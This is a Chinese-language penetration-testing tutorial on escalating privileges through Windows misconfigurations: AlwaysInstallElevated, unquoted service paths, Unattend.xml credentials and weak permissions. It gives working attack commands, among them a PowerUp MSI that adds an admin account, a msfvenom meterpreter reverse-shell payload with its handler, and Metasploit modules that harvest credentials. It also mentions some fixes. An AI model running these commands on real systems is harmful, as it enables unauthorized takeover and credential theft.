Windows操作系统配置错误利用
简介
在Windows操作系统中,攻击者通常会通过系统内核溢出漏洞进行提权,但如果这种方式失败的情况,就会利用系统中的配置错误来提权。Windows操作系统中的常见配置错误包括管理员凭据配置错误、服务配置错误、故意削弱的安全措施、用户权限过高等。
系统服务权限配置错误
windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务都是以system权限启动的,其文件夹、文件和注册表键值都是受强访问控制机制保护的。
系统服务权限配置错误的可能
- 服务未运行:攻击者会使用任意服务替换原来的服务,然后重启服务。
- 服务正在运行且无法被终止:这种符合绝大多数的漏洞利用场景,攻击者通常会利用DLL劫持技术尝试重启服务来提权。
Windows Installer知识
Windows Installer是Windows操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer除了是一个安装程序外,还用于管理软件的安装、管理软件组件的添加和删除、监视文件的还原、通过回滚进行灾难恢复等。
Windows Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分,MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要使用的大量指令和数据。Msiexec.exe一般在运行Microsoft Update安装更新或者安装一些软件的使用,占用内存比较多。
注册表键AlwaysInstallElevated
注册表键AlwaysInstallElevated是一个策略设置项。Windows允许低权限用户以System权限运行安装软件。如果启动此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件
这个漏洞产生的原因是用户开启了Windows Installer特权安装功能,要复现这个漏洞,我们就得先在管理模板的计算机配置和用户配置中启用永远以高特权进行安装这一项
设置完毕后,注册表对应的值也会设置为1,路径为HKEY_CURRENT\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
还有这个路径HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
PowerUp实战利用
首先我们使用Get-RegistryAlwaysInstallElevated
模块来检查注册表键是否被设置。若被设置,就意味着MSI文件是以System权限运行的,True表示已经设置
接下来我们添加账户,运行Write-UserAddMSI
模块
然后我们以普通账户运行UserAdd.msi账户,就会在管理员组添加了一个管理员账户,命令如下
msiexec /q /i UserAdd.msi
net user
参数 | 作用 |
---|---|
/quiet | 在安装过程中禁止向用户发送消息 |
/qn | 不使用GUI |
/i | 安装程序 |
综上所述,只要禁用AlwaysInstallElevated,就可以阻止攻击者通过MSI文件进行提权
可信任服务路径漏洞
该漏洞利用了Windows文件路径解析的特性,并涉及服务路径的文件/文件夹权限。如果一个服务调用的可执行文件没有正确地处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。换句话说,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
该漏洞存在两种可能性:
- 如果路径与服务有关,就任意创建一个服务或编译Service模板
- 如果路径与可执行文件有关,就任意创建一个可执行文件
Trusted Service Paths漏洞成因
因为Windows服务通常都是以System权限启动的,所以系统在解析服务所对应的文件路径中的空格时,也会以系统权限进行。对于每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序,直至找到一个能够匹配的程序。
Trusted Service Paths实战利用
首先我们先检查一下是否存在这个漏洞,这里我使用的是遨游浏览器的5.2.5版本(存在Trusted Service Paths Vulnerable),我们执行如下命令
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
我们确认存在可信任服务路径漏洞时,便可使用msf对其展开攻击。首先我们先获得一个普通用户权限的shell
msfvenom -p windows/meterpreter/reverse_tcp -b "\x00" -a x86 --platform -e shigata_ga_nai -f exe > msf.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
run
我们使用exploit/windows/local/unquoted_service_path
这个模块对漏洞进行利用,提权成功
因为反弹的meterpreter很快就会中断,这是因为当一个进程在Windows操作系统中启动后,必须与服务控制管理器进行通信,如果没有通信,服务控制管理器会认为出现了错误进而中断这个进程。我们使用set AutoRunScript migrate -f
对进程进行迁移
这个漏洞主要是开发者没有将文件路径用引号引起来导致的,修复只需在路径上添加引号即可。
自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
我们执行如下命令,搜索Unattend.xml
文件
dir /b /s c:\Unattend.xml
这里我们的Unattend.xml
文件是使用了base64对管理员的密码进行编码的
我们使用msf的post/windows/gather/enum_unattend
对这个配置文件进行获取
并且获取到了明文密码和账号等敏感信息
计划任务
在Windows上查询计划任务的命令为
schtasks /query /fo LIST /v
然而我们这里要借助微软的AccessChk
这个工具,这个工具在Windows系统上可以实现免杀的功效,并且进行一些系统或程序的高级查询、管理和故障排除工作。
查看指定目录的权限配置情况
accesschk.exe -dqv "C:\Windows" -accepteula
使用参数/accepteula自动接受许可协议
accesschk.exe /accepteula
列出某个驱动器下所有权限配置有缺陷的文件夹
accesschk.exe -uwdqsUsers "c:\Windows"
或者
accesschk.exe -uwdqs"AuthenticatedUsers"c:\Windows
列出某个驱动器下所有权限配置有缺陷的文件
accesschk.exe -uwqsUsers "c:\*.*"
或者
accesschk.exe -uwdqs"AuthenticatedUsers"c:\*.*
Empire内置模块
我们使用Empire内置的模块对目标主机进行扫描,我们将使用powerup脚本的allchecks模块
AllChecks模块的应用对象如下
- 没有被引号引起来的服务的路径
- ACL配置错误的服务(攻击者通过"service_*"利用它)
- 服务的可执行文件的权限设置不当(攻击者通过"service_exe_*"利用它)
- Unattend.xml文件
- 注册表键AlwaysInstallElevated
- 如果有Autologon凭证,都会留在注册表中
- 加密的web.config字符串和应用程序池的密码
- %PATH%.DLL的劫持机会(攻击者通过write_dllhijacker利用它)